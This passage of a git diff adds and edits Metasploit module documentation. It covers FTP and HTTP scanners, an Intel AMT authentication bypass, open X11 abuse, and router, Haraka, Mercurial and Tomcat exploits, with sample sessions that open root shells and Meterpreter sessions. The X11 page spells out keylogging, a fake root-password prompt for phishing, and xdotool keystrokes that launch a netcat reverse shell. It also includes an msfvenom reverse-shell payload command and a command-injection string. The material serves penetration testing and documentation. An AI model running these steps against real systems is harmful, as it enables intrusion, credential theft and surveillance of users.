RHOSTS 127.0.0.1 +RHOSTS => 127.0.0.1 +msf auxiliary(anonymous) > set RPORT 21 +RPORT => 21 +msf auxiliary(anonymous) > exploit + +[+] 127.0.0.1:21 - 127.0.0.1:21 - Anonymous READ (220 (vsFTPd 3.0.3)) +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +msf auxiliary(anonymous) > +``` + +## Confirming using NMAP + +``` +root@kali:~# nmap -sV -sC 127.0.0.1 -p 21 + +Starting Nmap 7.40SVN ( https://nmap.org ) at 2017-04-24 22:58 IST +Nmap scan report for localhost (127.0.0.1) +Host is up (0.000035s latency). +PORT STATE SERVICE VERSION +21/tcp open ftp vsftpd 3.0.3 +|_ftp-anon: Anonymous FTP login allowed (FTP code 230) +Service Info: OS: Unix + +root@kali:~# +``` + diff --git a/documentation/modules/auxiliary/scanner/ftp/ftp_login.md b/documentation/modules/auxiliary/scanner/ftp/ftp_login.md new file mode 100644 index 0000000000..9d6c7a671d --- /dev/null +++ b/documentation/modules/auxiliary/scanner/ftp/ftp_login.md @@ -0,0 +1,62 @@ +## Description + +This module will test FTP logins on a range of machines and report successful logins. If you have loaded a database plugin and connected to a database this module will record successful logins and hosts so you can track your access. + +## Vulnerable Application + +### Install ftp server on Kali Linux: + +1. ```apt-get install vsftpd``` +2. Allow local users to log in and to allow ftp uploads by editing file `/etc/vsftpd.conf` uncommenting the following: + + ``` + local_enable=YES + write_enable=YES + chroot_list_enable=YES + chroot_list_file=/etc/vsftpd.chroot_list + ``` + +3. Create the file `/etc/vsftpd.chroot_list` and add the local users you want allow to connect to FTP server. Start service and test connections: +4. ```service vsftpd start``` + +### Installing FTP for IIS 7.5 in Windows: + +#### IIS 7.5 for Windows Server 2008 R2: + +1. On the taskbar, click Start, point to Administrative Tools, and then click Server Manager. +2. In the Server Manager hierarchy pane, expand Roles, and then click Web Server (IIS). +3. In the Web Server (IIS) pane, scroll to the Role Services section, and then click Add Role Services. +4. On the Select Role Services page of the Add Role Services Wizard, expand FTP Server. +5. Select FTP Service. (Note: To support ASP.NET Membership or IIS Manager authentication for the FTP service, you will also need to select FTP Extensibility.) +6. Click Next. +7. On the Confirm Installation Selections page, click Install. +8. On the Results page, click Close. + +#### IIS 7.5 for Windows 7: + +1. On the taskbar, click Start, and then click Control Panel. +2. In Control Panel, click Programs and Features, and then click Turn Windows Features on or off. +3. Expand Internet Information Services, then FTP Server. +4. Select FTP Service. (Note: To support ASP.NET Membership or IIS Manager authentication for the FTP service, you will also need to select FTP Extensibility.) +5. Click OK. + +## Verification Steps + +1. Do: ```use auxiliary/scanner/ftp/ftp_login``` +2. Do: ```set RHOSTS [IP]``` +3. Do: ```set RPORT [IP]``` +4. Do: ```run``` + +## Sample Output +``` +msf> use auxiliary/scanner/ftp/ftp_login +msf auxiliary(ftp_login) > set RHOSTS ftp.openbsd.org +msf auxiliary(ftp_login) > set USERNAME ftp +msf auxiliary(ftp_login) > set PASSWORD hello@metasploit.com +msf auxiliary(ftp_login) > run +[*] 129.128.5.191:21 - Starting FTP login sweep +[+] 129.128.5.191:21 - LOGIN SUCCESSFUL: ftp:hello@metasploit.com +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +msf auxiliary(ftp_login) > +``` diff --git a/documentation/modules/auxiliary/scanner/ftp/ftp_version.md b/documentation/modules/auxiliary/scanner/ftp/ftp_version.md new file mode 100644 index 0000000000..86e9b01cae --- /dev/null +++ b/documentation/modules/auxiliary/scanner/ftp/ftp_version.md @@ -0,0 +1,80 @@ +## Description + +This module allows us to scan through a series of IP Addresses and provide details about the version of ftp running on that address. + +## Vulnerable Application + +### Install ftp server on Kali Linux: + +1. ```apt-get install vsftpd``` +2. Allow local users to log in and to allow ftp uploads by editing file `/etc/vsftpd.conf` uncommenting the following: + +``` + local_enable=YES + write_enable=YES + chroot_list_enable=YES + chroot_list_file=/etc/vsftpd.chroot_list +``` + +3. Create the file `/etc/vsftpd.chroot_list` and add the local users you want allow to connect to FTP server. Start service and test connections: +4. ```service vsftpd start``` + +### Installing FTP for IIS 7.5 in Windows: + +#### IIS 7.5 for Windows Server 2008 R2: + +1. On the taskbar, click Start, point to Administrative Tools, and then click Server Manager. +2. In the Server Manager hierarchy pane, expand Roles, and then click Web Server (IIS). +3. In the Web Server (IIS) pane, scroll to the Role Services section, and then click Add Role Services. +4. On the Select Role Services page of the Add Role Services Wizard, expand FTP Server. +5. Select FTP Service. (Note: To support ASP.NET Membership or IIS Manager authentication for the FTP service, you will also need to select FTP Extensibility.) +6. Click Next. +7. On the Confirm Installation Selections page, click Install. +8. On the Results page, click Close. + +#### IIS 7.5 for Windows 7: + +1. On the taskbar, click Start, and then click Control Panel. +2. In Control Panel, click Programs and Features, and then click Turn Windows Features on or off. +3. Expand Internet Information Services, then FTP Server. +4. Select FTP Service. (Note: To support ASP.NET Membership or IIS Manager authentication for the FTP service, you will also need to select FTP Extensibility.) +5. Click OK. + +## Verification Steps + +1. Do: ```use auxiliary/scanner/ftp/ftp_version``` +2. Do: ```set RHOSTS [IP]``` +3. Do: ```set RPORT [IP]``` +4. Do: ```run``` + +## Sample Output + +### On vsFTPd 3.0.3 on Kali + +``` +msf > use auxiliary/scanner/ftp/ftp_version +msf auxiliary(ftp_version) > set RHOSTS 127.0.0.1 +RHOSTS => 127.0.0.1 +msf auxiliary(ftp_version) > set RPORT 21 +RPORT => 21 +msf auxiliary(ftp_version) > exploit + +[*] 127.0.0.1:21 - FTP Banner: '220 (vsFTPd 3.0.3)\x0d\x0a' +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +msf auxiliary(ftp_version) > +``` +## Confirming using NMAP +``` +root@kali:~# nmap -sV 127.0.0.1 -p21 + +Starting Nmap 7.40SVN ( https://nmap.org ) at 2017-04-24 23:11 IST +Nmap scan report for localhost (127.0.0.1) +Host is up (0.000035s latency). +PORT STATE SERVICE VERSION +21/tcp open ftp vsftpd 3.0.3 +Service Info: OS: Unix + +root@kali:~# + +``` diff --git a/documentation/modules/auxiliary/scanner/http/crawler.md b/documentation/modules/auxiliary/scanner/http/crawler.md new file mode 100644 index 0000000000..0dedb947c3 --- /dev/null +++ b/documentation/modules/auxiliary/scanner/http/crawler.md @@ -0,0 +1,102 @@ +## Description + +This module is a http crawler, it will browse the links recursively from the +web site. If you have loaded a database plugin and connected to a database, +this module will report web pages and web forms. + +## Vulnerable Application + +You can use any web application to test the crawler. + +## Options + + **URI** + + Default path is `/` + + **DirBust** + + Bruteforce common url path, default is `true` but may generate noise in reports. + + **HttpPassword**, **HttpUsername**, **HTTPAdditionalHeaders**, **HTTPCookie** + + You can add some login information + + **UserAgent** + + Default User Agent is `Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)` + +## Verification Steps + +1. Do: ```use auxiliary/scanner/http/crawler``` +2. Do: ```set RHOST [IP]``` +3. Do: ```set RPORT [PORT]``` +4. Do: ```set URI [PATH]``` +4. Do: ```run``` + +## Sample Output + +### Example against [WebGoat](https://github.com/WebGoat/WebGoat) +``` +msf> use auxiliary/scanner/http/crawler +msf auxiliary(crawler) > set RHOST 127.0.0.1 +msf auxiliary(crawler) > set RPORT 8080 +msf auxiliary(crawler) > set URI /webgoat/ +msf auxiliary(crawler) > set DirBust false +msf auxiliary(crawler) > run +[*] Crawling http://127.0.0.1:8008/webgoat/... +[*] [00001/00500] 302 - 127.0.0.1 - http://127.0.0.1:8008/webgoat/ -> /webgoat/login.mvc +[*] [00002/00500] 200 - 127.0.0.1 - http://127.0.0.1:8008/webgoat/login.mvc +[*] FORM: POST /webgoat/j_spring_security_check;jsessionid=8B1EAF2554B60EFC93A52AFCA4B6C202 +[-] [00003/00500] 404 - 127.0.0.1 - http://127.0.0.1:8008/webgoat/images/favicon.ico +[*] [00004/00500] 200 - 127.0.0.1 - http://127.0.0.1:8008/webgoat/plugins/bootstrap/css/bootstrap.min.css +[*] [00005/00500] 200 - 127.0.0.1 - http://127.0.0.1:8008/webgoat/css/font-awesome.min.css +[*] [00006/00500] 200 - 127.0.0.1 - http://127.0.0.1:8008/webgoat/css/animate.css +[*] [00007/00500] 302 - 127.0.0.1 - http://127.0.0.1:8008/webgoat/j_spring_security_check;jsessionid=8B1EAF2554B60EFC93A52AFCA4B6C202 -> /webgoat/login.mvc;jsessionid=8B1EAF2554B60EFC93A52AFCA4B6C202?error +[*] [00008/00500] 200 - 127.0.0.1 - http://127.0.0.1:8008/webgoat/login.mvc;jsessionid=8B1EAF2554B60EFC93A52AFCA4B6C202?error +[*] FORM: GET /webgoat/login.mvc +[*] FORM: POST /webgoat/j_spring_security_check;jsessionid=8B1EAF2554B60EFC93A52AFCA4B6C202 +[*] [00009/00500] 200 - 127.0.0.1 - http://127.0.0.1:8008/webgoat/css/main.css +[*] [00010/00500] 302 - 127.0.0.1 - http://127.0.0.1:8008/webgoat/start.mvc -> http://127.0.0.1:8008/webgoat/login.mvc +[*] [00011/00500] 200 - 127.0.0.1 - http://127.0.0.1:8008/webgoat/login.mvc +[*] FORM: POST /webgoat/j_spring_security_check +[*] Crawl of http://127.0.0.1:8008/webgoat/ complete +[*] Auxiliary module execution completed +``` + +## Follow-on: Wmap + +As you see, the result is not very user friendly... + +But you can view a tree of your website with the Wmap plugin. Simply run : + +``` +msf auxiliary(crawler) > load wmap +msf auxiliary(crawler) > wmap_sites -l +[*] Available sites +=============== + + Id Host Vhost Port Proto # Pages # Forms + -- ---- ----- ---- ----- ------- ------- + 0 127.0.0.1 127.0.0.1 8080 http 70 80 + + +msf auxiliary(crawler) > wmap_sites -s 0 + + [127.0.0.1] (127.0.0.1) + └── webgoat (7) + ├── css (3) + │ ├── animate.css + │ ├── font-awesome.min.css + │ └── main.css + ├── j_spring_security_check;jsessionid=8B1EAF2554B60EFC93A52AFCA4B6C202 + ├── login.mvc + ├── login.mvc;jsessionid=8B1EAF2554B60EFC93A52AFCA4B6C202 + ├── plugins (1) + │ └── bootstrap (1) + │ └── css (1) + │ └── bootstrap.min.css + ├── start.mvc + └── j_spring_security_check + +``` diff --git a/documentation/modules/auxiliary/scanner/http/intel_amt_digest_bypass.md b/documentation/modules/auxiliary/scanner/http/intel_amt_digest_bypass.md new file mode 100644 index 0000000000..004763610f --- /dev/null +++ b/documentation/modules/auxiliary/scanner/http/intel_amt_digest_bypass.md @@ -0,0 +1,36 @@ +## Vulnerable Application + +This module exploits vulnerable versions of the Intel Management Engine (ME) firmware present Intel Core CPU 1st through 7th generations that allows authentication bypass and full control over the target machine, if the Active Management Technology feature is enabled and networking is configured. + +**Vulnerable Application Installation Steps** + +Enable the feature in the firmware setup screen on any vulnerable target machine. The module has been tested on HP and Lenovo desktops and laptops. + +## Verification Steps + +A successful run of the module will look like this: + + +``` +msf auxiliary(telnet_version) > use auxiliary/scanner/http/intel_amt_digest_bypass +msf auxiliary(intel_amt_digest_bypass) > show options + +Module options (auxiliary/scanner/http/intel_amt_digest_bypass): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS yes The target address range or CIDR identifier + RPORT 16992 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + THREADS 1 yes The number of concurrent threads + VHOST no HTTP server virtual host + +msf auxiliary(intel_amt_digest_bypass) > set rhosts 192.168.1.18 +rhosts => 192.168.1.18 +msf auxiliary(intel_amt_digest_bypass) > run + +[+] 192.168.1.18:16992 - Vulnerable to CVE-2017-5869 {"Computer model"=>"30A70051US", "Manufacturer"=>"LENOVO", "Version"=>"A4KT80AUS", "Serial number"=>" ", "System ID"=>"XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX", "Product name"=>"To be filled by O.E.M.", "Asset tag"=>" ", "Replaceable?"=>"Yes", "Vendor"=>"LENOVO", "Release date"=>"09/23/2015"} +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +``` diff --git a/documentation/modules/auxiliary/scanner/http/robots_txt.md b/documentation/modules/auxiliary/scanner/http/robots_txt.md new file mode 100644 index 0000000000..4161a04914 --- /dev/null +++ b/documentation/modules/auxiliary/scanner/http/robots_txt.md @@ -0,0 +1,52 @@ +## Description + +This module will detect `robots.txt` files on web servers and analyze its content. +The `robots.txt` file is a file which is supposed to be honored by web crawlers +and bots, as locations which are not to be indexed or specifically called out +to be indexed. This can be abused to reveal interesting information about areas +of the site which an admin may not want to be public knowledge. + +## Vulnerable Application + +You can use almost any web application to test this module, as `robots.txt` +is extremely common. + +## Verification Steps + +1. Do: `use auxiliary/scanner/http/robots_txt` +2. Do: `set rhosts [ip]` +3. Do: `run` +4. You should get the `robots.txt` file content + +## Options + +**PATH** + +You can set the test path where the scanner will try to find `robots.txt` file. +Default is `/` + +## Sample Output +``` +msf> use auxiliary/scanner/http/robots_txt +msf auxiliary(robots_txt) > set RHOSTS 172.217.19.238 +msf auxiliary(robots_txt) > run +[*] [172.217.19.238] /robots.txt found +[+] Contents of Robots.txt: +User-agent: * +Disallow: /search +Allow: /search/about +Disallow: /sdch +Disallow: /groups +Disallow: /index.html? +Disallow: /? +``` + +[...Truncated...] + +``` +User-agent: facebookexternalhit +Allow: /imgres + +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +``` diff --git a/documentation/modules/auxiliary/scanner/x11/open_x11.md b/documentation/modules/auxiliary/scanner/x11/open_x11.md new file mode 100644 index 0000000000..2adb1ed9df --- /dev/null +++ b/documentation/modules/auxiliary/scanner/x11/open_x11.md @@ -0,0 +1,198 @@ +## Vulnerable Application + +X11 (X Window System) is a graphical windowing system most common on unix/linux, although implementations may be found in windows +with software such as Hummingbird Exceed X Server. The service can accept connections from any users when misconfigured +which is done with the command `xhost +`. + +### Ubuntu 10.04 + +1. `sudo nano /etc/gdm/gdm.schemas` +2. Find: + + ``` + + security/DisallowTCP + b + true + + ``` + - Change `true` to `false` + +3. logout or reboot +4. Verification: ```sudo netstat -antp | grep 6000``` + + ``` + tcp 0 0 0.0.0.0:6000 0.0.0.0:* LISTEN 1806/X + ``` + +5. Now, to verify you allow ANYONE to get on X11, type: `xhost +` + +### Ubuntu 12.04, 14.04 + +1. `sudo nano /etc/lightdm/lightdm.conf` +2. Under the `[SeatDefaults]` area, add: + + ``` + xserver-allow-tcp=true + allow-guest=true + ``` + +3. logout or reboot +4. Verification: ```sudo netstat -antp | grep 6000``` + + ``` + tcp 0 0 0.0.0.0:6000 0.0.0.0:* LISTEN 1806/X + ``` + +5. Now, to verify you allow ANYONE to get on X11, type: `xhost +` + +### Ubuntu 16.04 + + Use the Ubuntu 12.04 instructions, however change `SeatDefaults` to `Seat:*` + +### Fedora 15 + +1. `vi /etc/gdm/custom.conf` +2. Under the `[security]` area, add: + + ``` + DisallowTCP=false + ``` + +3. logout/reboot +4. Now, to verify you allow ANYONE to get on X11, type: `xhost +` + +### Solaris 10 + +1. `svccfg -s svc:/application/x11/x11-server setprop options/tcp_listen = true` +2. `svc disable cde-login` +3. `svc enable cde-login` +4. `xhost +` + +## Verification Steps + + 1. Install and configure X11 + 2. Start msfconsole + 3. Do: `use auxiliary/scanner/x11/open_x11` + 4. Do: `set rhosts [IPs]` + 5. Do: `run` + +## Scenarios + + A run against Ubuntu 14.04 (192.168.2.75), Ubuntu 16.04 (192.168.2.26), and Solaris 10 (192.168.2.32) + + ``` + msf > use auxiliary/scanner/x11/open_x11 + msf auxiliary(open_x11) > set rhosts 192.168.2.75 192.168.2.26 + rhosts => 192.168.2.75 192.168.2.26 + msf auxiliary(open_x11) > run + + [+] 192.168.2.75:6000 - 192.168.2.75 Open X Server (The X.Org Foundation) + [*] Scanned 1 of 3 hosts (33% complete) + [+] 192.168.2.26:6000 - 192.168.2.26 Open X Server (The X.Org Foundation) + [*] Scanned 2 of 3 hosts (66% complete) + [+] 192.168.2.32:6000 - 192.168.2.32 Open X Server (Sun Microsystems, Inc.) + [*] Auxiliary module execution completed + ``` + +## Confirming + +The following are other industry tools which can also be used. + +### [nmap](https://nmap.org/nsedoc/scripts/x11-access.html) + +``` +# nmap -p 6000 --script=x11-access 192.168.2.26,75 + +Starting Nmap 7.40 ( https://nmap.org ) at 2017-04-23 13:15 EDT +Nmap scan report for ubuntu-desktop-16 (192.168.2.26) +Host is up (0.0021s latency). +PORT STATE SERVICE +6000/tcp open X11 +|_x11-access: X server access is granted +MAC Address: 00:0C:29:60:27:F9 (VMware) + +Nmap scan report for ubuntu-desktop-14 (192.168.2.75) +Host is up (0.0021s latency). +PORT STATE SERVICE +6000/tcp open X11 +|_x11-access: X server access is granted +MAC Address: 00:0C:29:0E:C4:6E (VMware) +``` + +### xdpyinfo + +This is one of the standard linux tools to get info on an X display. + +``` +# xdpyinfo -display 192.168.2.75:0 | head -n 5 + +name of display: 192.168.2.75:0 +version number: 11.0 +vendor string: The X.Org Foundation +vendor release number: 11803000 +X.Org version: 1.18.3 +``` + +## Exploitation + +Exploiting this mis-configuration has several methods. The target can have their display viewed, keystrokes logged, and potential keyboard typed. + +### Keylogging + +To keylog the remote host, we use a tool called [xspy](http://tools.kali.org/sniffingspoofing/xspy) + +`xspy -display [ip]:0` + +### Screen Monitoring + +#### Entire Display + +It is possible to monitor the entire display (all windows) and view the content. + + - Take a screenshot: `xwd -root -display [ip]:[display] -out xdump.xdump` + - View screenshot: `display xdump.xdump` or `xwud -in xdump.xdump` + +#### Specific Window + +To monitor only a single window (a terminal for instance) + +First, we need to determine which windows are available and what their processes are: + + - `xwininfo -tree -root -display [ip]:0` + +Once you determine which window you want to monitor, you'll want to use the `windowID`. Now use the application `xwatchwin` + + - `xwatchwin [ip]:0 -w [windowID]` + +### Social Engineering + +Obviously watching keystrokes is good, but we want to coax the user into providing their password. We can do this by using xterm to display a login box to the user. + +This was tested against Ubuntu 12.04, 14.04, 16.04 and Solaris 10. + +1. start `xspy` +2. `xterm -T "Root Permission Required" -display [ip]:0 -e "echo -e -n 'root password: '; read passwd; echo 'Authentication Failure'; echo -e -n 'root password: '; read passwd"` + - Notice it asks twice for the password incase of a mistyped initial password. This can also be adjusted to just say password or the real user's username + - The victim's typed text by the user will not be masked (`*`) + +### Direct Exploitation + +Use `exploits/unix/x11/x11_keyboard_exec` + +### Typing Commands + +Similar to the method `exploits/unix/x11/x11_keyboard_exec` uses, its possible to use `xdotool` to run commands on the remote system. + +To install `xdotool` on kali simply run `apt-get install xdotool` + +Now, you can directly interact by typing commands (which appear on the users screen), an example would be running xterm and launching netcat. + +For this scenario we run a simple reverse netcat to 192.168.2.9:80 + +``` +xdotool key alt+F2 +xdotool key x t e r m +xdotool key KP_Enter +xdotool key n c space 1 9 2 period 1 6 8 period 2 period 9 space 8 0 space minus e space slash b i n slash b a s h KP_Enter +``` \ No newline at end of file diff --git a/documentation/modules/exploit/linux/http/huawei_hg532n_cmdinject.md b/documentation/modules/exploit/linux/http/huawei_hg532n_cmdinject.md index 48209d7a72..1a832beb93 100644 --- a/documentation/modules/exploit/linux/http/huawei_hg532n_cmdinject.md +++ b/documentation/modules/exploit/linux/http/huawei_hg532n_cmdinject.md @@ -38,7 +38,7 @@ that through command injection to gain Meterpreter root access. With an attacker node that resides within the ISP network, do: -- Set `payload` to `linux/mipsbe/mettle_reverse_tcp` +- Set `payload` to `linux/mipsbe/meterpreter_reverse_tcp` - Set `RHOST` to the target router's IP @@ -73,7 +73,7 @@ module's own HTTP server and host it externally. To do so, first generate the payload ELF executable using `msfvenom`: ``` -$ msfvenom --format elf --arch mipsbe --platform linux --payload linux/mipsbe/mettle/reverse_tcp --out payload.elf LHOST='41.34.32.121' LPORT=4444 +$ msfvenom --format elf --arch mipsbe --platform linux --payload linux/mipsbe/meterpreter/reverse_tcp --out payload.elf LHOST='41.34.32.121' LPORT=4444 No encoder or badchars specified, outputting raw payload Payload size: 212 bytes diff --git a/documentation/modules/exploit/linux/http/netgear_r7000_cgibin_exec.md b/documentation/modules/exploit/linux/http/netgear_r7000_cgibin_exec.md index cc1c3d4826..6bae8bef37 100644 --- a/documentation/modules/exploit/linux/http/netgear_r7000_cgibin_exec.md +++ b/documentation/modules/exploit/linux/http/netgear_r7000_cgibin_exec.md @@ -17,17 +17,17 @@ Netgear R7000 and R6400 routers running firmware version `1.0.7.2_1.1.93` and po ## Options **PAYLOAD** - - The valid payloads are `mettle` payloads _only_. The payload uses the `wget` flavor and pipes the downloaded binary to `sh` + + The valid payloads are `meterpreter` payloads _only_. The payload uses the `wget` flavor and pipes the downloaded binary to `sh` ## Scenarios Sample output of a successful session: - + ``` msf exploit(netgear_r7000_cgibin_exec) > run -[*] Started reverse TCP handler on 127.0.0.1:4444 +[*] Started reverse TCP handler on 127.0.0.1:4444 [*] Router is a NETGEAR router (R7000) [+] Router may be vulnerable (NETGEAR R7000) [*] Using URL: http://0.0.0.0:8080/ @@ -35,16 +35,16 @@ Netgear R7000 and R6400 routers running firmware version `1.0.7.2_1.1.93` and po [*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:54168) at 2017-03-10 15:56:21 -0600 [*] Server stopped. -meterpreter > getuid +meterpreter > getuid Server username: uid=0, gid=0, euid=0, egid=0 -meterpreter > sysinfo +meterpreter > sysinfo Computer : 192.168.1.4 OS : (Linux 2.6.36.4brcmarm+) Architecture : armv7l Meterpreter : armle/linux -meterpreter > +meterpreter > ``` - + As you can see, the `uid` is 0, meaning you have root access. - - + + diff --git a/documentation/modules/exploit/linux/http/wipg1000_cmd_injection.md b/documentation/modules/exploit/linux/http/wipg1000_cmd_injection.md new file mode 100644 index 0000000000..048bed1d83 --- /dev/null +++ b/documentation/modules/exploit/linux/http/wipg1000_cmd_injection.md @@ -0,0 +1,53 @@ +## Vulnerable Application + + This module exploits a command injection vulnerability in the [wePresent WiPG-1000](http://wepresentwifi.com/wipg1000.html) device. A description of the exploited vulnerability is available in section 3.4 of [this advisory](https://www.redguard.ch/advisories/wepresent-wipg1000.txt). + The latest vulnerable firmware version is 2.0.0.7. Newer versions can be downgraded to [the older firmware](http://www.wepresentwifi.com/assets/downloads/wipg1000/wePresent.1000.2.0.0.7.nad.zip). + + There is no complete list of vulnerable firmware versions, however the check method can reliably detect whether a device is vulnerable. The check method checks for the presence of the `rdfs.cgi` file and whether it contains the string `https://www.redguard.ch/advisories/wepresent-wipg1000.txt`. All known versions of this file on the device are vulnerable to this command injection. + + Manual exploitation would equate to browsing to the URI `http:///cgi-bin/rdfs.cgi` and entering the String `; command;` in the input field and submitting the form. + + Version 2.0.0.7 was confirmed vulnerable, and firmware 2.2.3.0 was released to fix the exploit. + +## Verification Steps + + 1. Make sure the device is running. + 2. Start msfconsole. + 3. Do: ```use exploit/linux/http/wipg1000_cmd_injection``` + 4. Do: ```set payload cmd/unix/reverse_netcat``` + 5. Do: ```set RHOST ``` + 6. Do: ```set LHOST ``` + 7. Do: ```exploit``` + 8. You should get a shell. + +## Options + + **PAYLOAD** + + The `generic`,`netcat` and `openssl` payload types are valid. + +## Scenarios + +### Firmware 2.0.0.7 + + The following is an example run getting a shell: + + ``` + msf > use exploit/linux/http/wipg1000_cmd_injection + msf exploit(wipg1000_cmd_injection) > set payload cmd/unix/reverse_netcat + payload => cmd/unix/reverse_netcat + msf exploit(wipg1000_cmd_injection) > set RHOST 192.168.3.3 + RHOST => 192.168.3.3 + msf exploit(wipg1000_cmd_injection) > set LHOST 192.168.3.216 + LHOST => 192.168.3.216 + msf exploit(wipg1000_cmd_injection) > check + [*] 192.168.3.3:80 The target appears to be vulnerable. + msf exploit(wipg1000_cmd_injection) > exploit + + [*] Started reverse TCP handler on 192.168.3.216:4444 + [*] Sending request + [*] Command shell session 1 opened (192.168.3.216:4444 -> 192.168.3.3:50893) at 2017-04-20 16:11:48 +0200 + id + + uid=0(root) gid=0(root) groups=0(root),10(wheel) + ``` diff --git a/documentation/modules/exploit/linux/smtp/haraka.md b/documentation/modules/exploit/linux/smtp/haraka.md new file mode 100644 index 0000000000..eafac68c8a --- /dev/null +++ b/documentation/modules/exploit/linux/smtp/haraka.md @@ -0,0 +1,81 @@ +## Vulnerable Application + + Setup the vulnerable Haraka install by running this script on Ubuntu, Debian or similar: + + ``` + #install nodejs and npm + curl -sL https://deb.nodesource.com/setup_7.x | sudo -E bash - + sudo apt install nodejs + + #Haraka setup + wget https://github.com/haraka/Haraka/archive/v2.8.8.tar.gz + tar xvzf v2.8.8.tar.gz + cd Haraka-2.8.8/ + npm install npm + npm install + + haraka -i haraka + + cat << EOF > haraka/config/plugins + access + rcpt_to.in_host_list + data.headers + attachment + test_queue + max_unrecognized_commands + EOF + + echo haraka.test >> haraka/config/host_list + + # Launch haraka as root + sudo haraka -c haraka + ``` + +## Options + + **from_email** + + String used in the SMTP MAILFROM command + + **to_email** + + String used in the SMTP MAILTO command + + **lhost** + + The address to serve the payload from + + **rhost** + + The address or hostname to target + + **payload** + + Any compatible Metasploit payload + +## Example Run + + ``` +msf > use exploit/linux/smtp/harakiri +msf exploit(haraka) > set email_to root@haraka.test +email_to => root@haraka.test +msf exploit(haraka) > set payload linux/x64/meterpreter_reverse_http +payload => linux/x64/meterpreter_reverse_http +msf exploit(haraka) > run + +[*] Started HTTP reverse handler on http://192.168.1.1:8080 +[*] Exploiting... +[*] Using URL: http://192.168.1.1:8080/36CacHfIIBnBe3 +[*] Sending mail to target server... +[*] http://192.168.1.1:8080 handling request from 192.168.1.2; (UUID: xoljaxxi) Redirecting stageless connection from /UJgmNdAvcM7RkNeSiIMMwg_phj2ODD0I0sgpuoWRXMCMYpHwI0ydcMlb4vVjgylZF9yr-gOpQu9aOibLROCaSBoN0tLHJRGCK0B4ZKg1aQy8LPB with UA 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko' +[*] http://192.168.1.1:8080 handling request from 192.168.1.2; (UUID: xoljaxxi) Attaching orphaned/stageless session... +[*] Meterpreter session 2 opened (192.168.1.1:8080 -> 192.168.1.2:42122) at 2017-05-10 22:41:06 -0500 +[*] Command Stager progress - 100.00% done (120/120 bytes) +[*] Server stopped. + +meterpreter > exit +[*] Shutting down Meterpreter... + +[*] 192.168.1.2 - Meterpreter session 2 closed. Reason: User exit +msf exploit(haraka) > + ``` diff --git a/documentation/modules/exploit/linux/ssh/mercurial_ssh_exec.md b/documentation/modules/exploit/linux/ssh/mercurial_ssh_exec.md new file mode 100644 index 0000000000..f62bace27c --- /dev/null +++ b/documentation/modules/exploit/linux/ssh/mercurial_ssh_exec.md @@ -0,0 +1,53 @@ +## Vulnerable Application + +[mercurial](https://www.mercurial-scm.org/downloads). + +This module was successfully tested against: + +- Kali Linux, HG 4.0 and a customized hg-ssh (to simulate custom hg-ssh wrappers which have weak repo validation) + +## Vulnerable Server Setup Steps + + 1. Install mercurial on your test server + 2. Patch the hg-ssh Python script script to emulate custom/weak repo validation in hg-ssh wrapper `vi $(which hg-ssh)` + - Replace `if repo in allowed paths:` with `if True:` + - Replace `cmd = ['-R', repo, 'serve', 'stdio']` with `cmd = ['-R', path, 'serve', 'stdio']` + 3. Setup a user with SSH pubkey auth + 4. Create a test repo in the users home directory and add a commit + - `mkdir -p repos/repo1` + - `cd repos/repo1` + - `echo "hello world" > README` + - `hg add README` + - `hg commit -m "Adds README"` + 5. Restrict user in authorized_keys to hg-ssh binary only + - `command="hg-ssh ~/repos/repo1",no-port-forwarding,no-X11-forwarding,no-agent-forwarding INSERT_SSH_PUB_KEY` + 6. Verify SSH user can authenticate (should prompt and prevent a shell) + - `ssh user@192.168.10.99` + 7. Verify SSH user commands are not allows (should prevent arbitrary commands) + - `ssh user@192.168.10.99 ifconfig` + +## Verification Steps + + 1. Start msfconsole + 2. Do: `use exploit/linux/ssh/mercurial_ssh_exec` + 3. Do: `set RHOST ` + 4. Do: `set LHOST ` + 5. Do: `set SSH_PRIV_KEY_FILE /Users/jsmith/.ssh/id_rsa` + 6. Do: `exploit` + 7. You should get a shell. + +## Scenarios + +### Kali Linux, HG 4.0 and a customized hg-ssh (to simulate custom hg-ssh wrappers which have weak repo validation) + +``` +msf exploit(mercurial_ssh_exec) > exploit + +[*] Started reverse TCP handler on 192.168.10.37:4444 +[*] 192.168.10.99:22 - 192.168.10.99:22 - Attempting to login... +[+] 192.168.10.99:22 - SSH connection is established. +[+] 192.168.10.99:22 - Triggered Debugger (entering debugger - type c to continue starting hg or h for help) +[*] Sending stage (39842 bytes) to 192.168.10.99 +[*] Meterpreter session 1 opened (192.168.10.37:4444 -> 192.168.10.99:57606) at 2017-04-18 19:16:44 -0400 +``` + diff --git a/documentation/modules/exploit/linux/http/rails_dynamic_render_code_exec.md b/documentation/modules/exploit/multi/http/rails_dynamic_render_code_exec.md similarity index 100% rename from documentation/modules/exploit/linux/http/rails_dynamic_render_code_exec.md rename to documentation/modules/exploit/multi/http/rails_dynamic_render_code_exec.md diff --git a/documentation/modules/exploit/multi/http/tomcat_mgr_deploy.md b/documentation/modules/exploit/multi/http/tomcat_mgr_deploy.md index 36f2dd0834..db7af1adde 100644 --- a/documentation/modules/exploit/multi/http/tomcat_mgr_deploy.md +++ b/documentation/modules/exploit/multi/http/tomcat_mgr_deploy.md @@ -32,7 +32,7 @@ For this exploitation, it was changed to simply `manager`. 3. Exploit: ``` - msf > use exploit/multi/http/tomcat_mgr_deploy + msf > use exploit/multi/http/tomcat_mgr_deploy msf exploit(tomcat_mgr_deploy) > set rhost 192.168.2.108 rhost => 192.168.2.108 msf exploit(tomcat_mgr_deploy) > set verbose true @@ -43,7 +43,7 @@ For this exploitation, it was changed to simply `manager`. HttpUsername => tomcat msf exploit(tomcat_mgr_deploy) > set lhost 192.168.2.117 lhost => 192.168.2.117 - msf exploit(tomcat_mgr_deploy) > set payload 